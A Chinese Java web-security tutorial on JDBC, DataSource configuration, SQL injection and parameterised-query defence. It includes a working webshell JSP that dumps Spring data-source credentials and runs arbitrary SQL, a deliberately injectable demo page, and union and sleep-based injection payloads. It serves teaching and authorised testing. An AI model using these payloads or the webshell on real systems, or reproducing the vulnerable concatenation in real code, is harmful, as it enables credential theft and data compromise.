Java Web安全之java基础-JDBC基础

Java Web安全之java基础-JDBC基础

JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。

JDBC Connection

Java通过java.sql.DriverManager来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类,然后调用getConnection方法才能连接上数据库。

JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

JDBC连接数据库的一般步骤:

  1. 注册驱动,Class.forName("数据库驱动的类名")
  2. 获取连接,DriverManager.getConnection(xxx)

JDBC连接数据库示例代码如下:

String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";

Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

数据库配置信息

传统的Web应用的数据库配置信息一般都是存放在WEB-INF目录下的*.properties*.yml*.xml中的,如果是Spring Boot项目的话一般都会存储在jar包中的src/main/resources/目录下。常见的存储数据库配置信息的文件路径如:WEB-INF/applicationContext.xmlWEB-INF/hibernate.cfg.xmlWEB-INF/jdbc/jdbc.properties,一般情况下使用find命令加关键字可以轻松的找出来,如查找Mysql配置信息: find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"

为什么需要Class.forName?

很多人不理解为什么第一步必须是Class.forName(CLASS_NAME);// 注册JDBC驱动类,因为他们永远不会跟进驱动包去一探究竟。

实际上这一步是利用了Java反射+类加载机制往DriverManager中注册了驱动包!

Java Web安全之java基础-JDBC基础

Class.forName("com.mysql.jdbc.Driver")实际上会触发类加载,com.mysql.jdbc.Driver类将会被初始化,所以static静态语句块中的代码也将会被执行,所以看似毫无必要的Class.forName其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径:

  1. 使用Class.forName("xxxx", false, loader)方法,将第二个参数传入false。
  2. ClassLoader.load(“xxxx”);

Class.forName可以省去吗?

连接数据库就必须Class.forName(xxx)几乎已经成为了绝大部分人认为的既定事实而不可改变,但是某些人会发现删除Class.forName一样可以连接数据库这又作何解释?

实际上这里又利用了Java的一大特性:Java SPI(Service Provider Interface),因为DriverManager在初始化的时候会调用java.util.ServiceLoader类提供的SPI机制,Java会自动扫描jar包中的META-INF/services目录下的文件,并且还会自动的Class.forName(文件中定义的类),这也就解释了为什么不需要Class.forName也能够成功连接数据库的原因了。

Java Web安全之java基础-JDBC基础

JDBC数据库连接总结

使用JDBC连接数据相对于PHP直接使用mysql_connect/mysqli_connect函数就可以完成数据库连接来说的确难了很多,但是其中也暗藏了很多Java的特性需要我们去深入理解。

或许您会有所疑问我们为什么非要搞明白Class.forName这个问题?这个问题和Java安全有必然的联系吗?其实这里只是想让大家明白Java反射类加载机制、和SPI机制以及养成阅读JDK或者第三方库代码的习惯,也希望不明白上述机制的朋友深入去理解思考下。

学习完本节后希望您能去思考如下问题:

  1. SPI机制是否有安全性问题?
  2. Java反射有那些安全问题?
  3. Java类加载机制是什么?
  4. 数据库连接时密码安全问题?
  5. 使用JDBC如何写一个通用的数据库密码爆破模块?

JDBC DataSource

在真实的Java项目中通常不会使用原生的JDBCDriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。

常见的数据源有:DBCPC3P0DruidMybatis DataSource,他们都实现于javax.sql.DataSource接口。

Spring MVC 数据源

在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了。

在基于XML配置的SpringMVC中配置数据源:

<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
        <property name="url" value="${jdbc.url}"/>
        <property name="username" value="${jdbc.username}"/>
        <property name="password" value="${jdbc.password}"/>
        ....
        />

如上,我们定义了一个id为dataSource的Spring Bean对象,usernamepassword都使用了${jdbc.XXX}表示,很明显${jdbc.username}并不是数据库的用户名,这其实是采用了Spring的property-placeholder制定了一个properties文件,使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

<context:property-placeholder location="classpath:/config/jdbc.properties"/>

jdbc.properties内容:

jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root

在Spring中我们只需要通过引用这个Bean就可以获取到数据源了,比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource

<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
  <property name="dataSource" ref="dataSource"/>
</bean>

SpringBoot配置数据源:

在SpringBoot中只需要在application.propertiesapplication.yml中定义spring.datasource.xxx即可完成DataSource配置。

spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源Hack

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。

spring-datasource.jsp获取数据源/执行SQL语句示例

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
    // C3PO数据源类
    private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";

    // DBCP数据源类
    private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";

    //Druid数据源类
    private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

    /**
     * 获取所有Spring管理的数据源
     * @param ctx Spring上下文
     * @return 数据源数组
     */
    List<DataSource> getDataSources(ApplicationContext ctx) {
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
        String[]         beanNames      = ctx.getBeanDefinitionNames();

        for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);

            if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

        return dataSourceList;
    }

    /**
     * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
     * @param ctx Spring上下文对象
     * @return 数据源配置字符串
     * @throws ClassNotFoundException 数据源类未找到异常
     * @throws NoSuchMethodException 反射调用时方法没找到异常
     * @throws InvocationTargetException 反射调用异常
     * @throws IllegalAccessException 反射调用时不正确的访问异常
     */
    String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        List<DataSource> dataSourceList = getDataSources(ctx);

        for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url       = null;
            String UserName  = null;
            String PassWord  = null;

            if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

            return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
        }

        return null;
    }
%>
<%
    String sql = request.getParameter("sql");// 定义需要执行的SQL语句

    // 获取Spring的ApplicationContext对象
    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());

    // 获取Spring中所有的数据源对象
    List<DataSource> dataSourceList = getDataSources(ctx);

    // 检查是否获取到了数据源
    if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
        return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ctx));
    out.println("<hr/>");

    // 定义需要查询的SQL语句
    sql = sql != null ? sql : "select version()";

    for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

        //从数据源中获取数据库连接对象
        Connection connection = dataSource.getConnection();

        // 创建预编译查询对象
        PreparedStatement pstt = connection.prepareStatement(sql);

        // 执行查询并获取查询结果对象
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");

        // 获取查询结果的元数据对象
        ResultSetMetaData metaData = rs.getMetaData();

        // 从元数据中获取字段信息
        for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
        }

        out.println("<tr/>");

        // 获取JDBC查询结果
        while (rs.next()) {
            out.println("<tr>");

            for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>

读取数据源信息和执行SQL语句效果:

Java Web安全之java基础-JDBC基础

上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句,其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean,然后找出所有DataSource的对象,通过反射读取出C3P0DBCPDruid这三类数据源的数据库配置信息,最后还利用了DataSource获取了Connection对象实现了数据库查询功能。

Java Web Server 数据源

除了第三方数据源库实现,标准的Web容器自身也提供了数据源服务,通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中,在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象。

Tomcat JNDI DataSource

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource

<Context>

  <Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
               maxTotal="100" maxIdle="30" maxWaitMillis="10000"
               username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
               url="jdbc:mysql://localhost:3306/mysql"/>

</Context>

Resin JNDI DataSource

Resin需要修改resin.xml,添加database配置,参考:Resin Database configuration

<database jndi-name='jdbc/test'>
  <driver type="com.mysql.jdbc.Driver">
    <url>jdbc:mysql://localhost:3306/mysql</url>
    <user>root</user>
    <password>root</password>
  </driver>
</database>

JDBC SQL注入

SQL注入(SQL injection)是因为应用程序在执行SQL语句的时候没有正确的处理用户输入字符串,将用户输入的恶意字符串拼接到了SQL语句中执行,从而导致了SQL注入。

SQL注入是一种原理非常简单且危害程度极高的恶意攻击,我们可以理解为不同程序语言的注入方式是一样的。

本章节只讨论基于JDBC查询的SQL注入,暂不讨论基于ORM实现的框架注入,也不会过多的讨论注入的深入用法、函数等。

SQL注入示例

在SQL注入中如果需要我们手动闭合SQL语句的'的注入类型称为字符型注入、反之成为整型注入

字符型注入

假设程序想通过用户名查询用户个人信息,那么它最终执行的SQL语句可能是这样:

select host,user from mysql.user where user = '用户输入的用户名'

正常情况下用户只需传入自己的用户名,如:root,程序会自动拼成一条完整的SQL语句:

select host,user from mysql.user where user = 'root'

查询结果如下:

mysql> select host,user from mysql.user where user = 'root';
+-----------+------+
| host      | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)

但假设黑客传入了恶意的字符串:root' and 1=2 union select 1,'2去闭合SQL语句,那么SQL语句的含义将会被改变:

select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2'

查询结果如下:

mysql> select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2';
+------+------+
| host | user |
+------+------+
| 1    | 2    |
+------+------+
1 row in set (0.00 sec)

Java代码片段如下:

// 获取用户传入的用户名
String user = request.getParameter("user");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select host,user from mysql.user where user = '" + user + "'";

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

如上示例程序,sql变量拼接了我们传入的用户名字符串并调用executeQuery方法执行了含有恶意攻击的SQL语句。我们只需要在用户传入的user参数中拼凑一个能够闭合SQL语句又不影响SQL语法的恶意字符串即可实现SQL注入攻击!需要我们使用'(单引号)闭合的SQL注入漏洞我们通常叫做字符型SQL注入

快速检测字符串类型注入方式

在渗透测试中我们判断字符型注入点最快速的方式就是在参数值中加'(单引号),如:http://localhost/1.jsp?id=1',如果页面返回500错误或者出现异常的情况下我们通常可以初步判定该参数可能存在注入。

字符型注入测试

示例程序包含了一个存在字符型注入的Demo,测试时请自行修改数据库账号密码,user参数参数存在注入。

sql-injection.jsp:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.io.StringWriter" %>
<%@ page import="java.io.PrintWriter" %>
<style>
    table {
        border-collapse: collapse;
    }

    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
    // 数据库驱动类名
    public static final String CLASS_NAME = "com.mysql.jdbc.Driver";

    // 数据库链接字符串
    public static final String URL = "jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false";

    // 数据库用户名
    public static final String USERNAME = "root";

    // 数据库密码
    public static final String PASSWORD = "root";

    Connection getConnection() throws SQLException, ClassNotFoundException {
        Class.forName(CLASS_NAME);// 注册JDBC驱动类
        return DriverManager.getConnection(URL, USERNAME, PASSWORD);
    }

%>
<%
    String user = request.getParameter("user");

    if (user != null) {
        Connection connection = null;

        try {
            // 建立数据库连接
            connection = getConnection();

            // 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
            // 语句当中,从而导致了SQL注入漏洞。
//            String sql = "select host,user from mysql.user where user = ? ";
            String sql = "select host,user from mysql.user where user = '" + user + "'";
            out.println("SQL:" + sql);
            out.println("<hr/>");

            // 创建预编译对象
            PreparedStatement pstt = connection.prepareStatement(sql);
//            pstt.setObject(1, user);

            // 执行SQL语句并获取返回结果对象
            ResultSet rs = pstt.executeQuery();

            out.println("<table><tr>");
            out.println("<th>主机</th>");
            out.println("<th>用户</th>");
            out.println("<tr/>");

            // 输出SQL语句执行结果
            while (rs.next()) {
                out.println("<tr>");

                // 获取SQL语句中查询的字段值
                out.println("<td>" + rs.getObject("host") + "</td>");
                out.println("<td>" + rs.getObject("user") + "</td>");
                out.println("<tr/>");
            }

            out.println("</table>");

            // 关闭查询结果
            rs.close();

            // 关闭预编译对象
            pstt.close();
        } catch (Exception e) {
            // 输出异常信息到浏览器
            StringWriter sw = new StringWriter();
            e.printStackTrace(new PrintWriter(sw));
            out.println(sw);
        } finally {
            // 关闭数据库连接
            connection.close();
        }

    }
%>

正常请求,查询用户名为root的用户信息测试:

http://localhost:8080/sql-injection.jsp?user=root

Java Web安全之java基础-JDBC基础

提交含有'(单引号)的注入语句测试:

http://localhost:8080/sql-injection.jsp?user=root

Java Web安全之java基础-JDBC基础

如果用户屏蔽了异常信息的显示我们就无法直接通过页面信息确认是否是注入,但是我们可以通过后端响应的状态码来确定是否是注入点,如果返回的状态码为500,那么我们就可以初步的判定user参数存在注入了。

提交读取Mysql用户名和版本号注入语句测试:

http://localhost:8080/sql-injection.jsp?user=root‘ and 1=2 union select user(),version() –%20

Java Web安全之java基础-JDBC基础

这里使用了-- (--空格,空格可以使用%20代替)来注释掉SQL语句后面的'(单引号),当然我们同样也可以使用#(井号,URL传参的时候必须传URL编码后的值:%23)注释掉'

整型注入

假设我们执行的SQL语句是:

select id, username, email from sys_user where id = 用户ID

查询结果如下:

mysql> select id, username, email from sys_user where id = 1;
+----+----------+-------------------+
| id | username | email             |
+----+----------+-------------------+
|  1 | yzmm     | [email protected] |
+----+----------+-------------------+
1 row in set (0.01 sec)

假设程序预期用户输入一个数字类型的参数作为查询条件,且输入内容未经任何过滤直接就拼到了SQL语句当中,那么也就产生了一种名为整型SQL注入的漏洞。

对应的程序代码片段:

// 获取用户传入的用户ID
String id = request.getParameter("id");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =" + id;

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

快速检测整型注入方式

整型注入相比字符型更容易检测,使用参数值添加'(单引号)的方式或者使用运算符数据库子查询睡眠函数(一定慎用!如:sleep)等。

检测方式示例:

id=2-1
id=(2)
id=(select 2 from dual)
id=(select 2)

盲注时不要直接使用sleep(n)!例如: id=sleep(3)

对应的SQL语句select username from sys_user where id = sleep(3)

执行结果如下:

mysql> select username from sys_user where id= sleep(3);
Empty set (24.29 sec)

为什么只是sleep了3秒钟最终变成了24秒?因为sleep语句执行了select count(1) from sys_user遍!当前sys_user表因为有8条数据所以执行了8次。

如果非要使用sleep的方式可以使用子查询的方式代替:

id=2 union select 1, sleep(3)

查询结果如下:

mysql> select username,email from sys_user where id=1 union select 1, sleep(3);
+----------+-------------------+
| username | email             |
+----------+-------------------+
| yzmm     | [email protected] |
| 1        | 0                 |
+----------+-------------------+
2 rows in set (3.06 sec)

SQL注入防御

既然我们学会了如何提交恶意的注入语句,那么我们到底应该如何去防御注入呢?通常情况下我们可以使用以下方式来防御SQL注入攻击:

  1. 转义用户请求的参数值中的'(单引号)"(双引号)
  2. 限制用户传入的数据类型,如预期传入的是数字,那么使用:Integer.parseInt()/Long.parseLong等转换成整型。
  3. 使用PreparedStatement对象提供的SQL语句预编译。

切记只过滤'(单引号)"(双引号)并不能有效的防止整型注入,但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。

PreparedStatement SQL预编译查询

将上面存在注入的Java代码改为?(问号)占位的方式即可实现SQL预编译查询。

示例代码片段:

// 获取用户传入的用户ID
String id = request.getParameter("id");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =? ";

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 设置预编译查询的第一个参数值
pstt.setObject(1, id);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

需要特别注意的是并不是使用PreparedStatement来执行SQL语句就没有注入漏洞,而是将用户传入部分使用?(问号)占位符表示并使用PreparedStatement预编译SQL语句才能够防止注入!

JDBC预编译

可能很多人都会有一个疑问:JDBC中使用PreparedStatement对象的SQL语句究竟是如何实现预编译的?接下来我们将会以Mysql驱动包为例,深入学习JDBC预编译实现。

JDBC预编译查询分为客户端预编译和服务器端预编译,对应的URL配置项是:useServerPrepStmts,当useServerPrepStmtsfalse时使用客户端(驱动包内完成SQL转义)预编译,useServerPrepStmtstrue时使用数据库服务器端预编译。

数据库服务器端预编译

JDBC URL配置示例:

jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=true

代码片段:

String sql = "select host,user from mysql.user where user = ? ";
PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);

使用JDBCPreparedStatement查询数据包如下:

Java Web安全之java基础-JDBC基础

客户端预编译

JDBC URL配置示例:

jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=false

代码片段:

String sql = "select host,user from mysql.user where user = ? ";
PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);

使用JDBCPreparedStatement查询数据包如下:

Java Web安全之java基础-JDBC基础

对应的Mysql客户端驱动包预编译代码在com.mysql.jdbc.PreparedStatement类的setString方法,如下:

Java Web安全之java基础-JDBC基础

预编译前的值为root',预编译后的值为'root\'',和我们通过WireShark抓包的结果一致。

Mysql预编译

Mysql默认提供了预编译命令:prepare,使用prepare命令可以在Mysql数据库服务端实现预编译查询。

prepare查询示例:

prepare stmt from 'select host,user from mysql.user where user = ?';
set @username='root';
execute stmt using @username;

查询结果如下:

mysql> prepare stmt from 'select host,user from mysql.user where user = ?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> set @username='root';
Query OK, 0 rows affected (0.00 sec)

mysql> execute stmt using @username;
+-----------+------+
| host      | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)

JDBC SQL注入总结

本章节通过浅显的方式学习了JDBC中的SQL注入漏洞基础知识和防注入方式,希望大家能够从本章节中了解到SQL注入的本质,在后续章节也将讲解ORM中的SQL注入。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注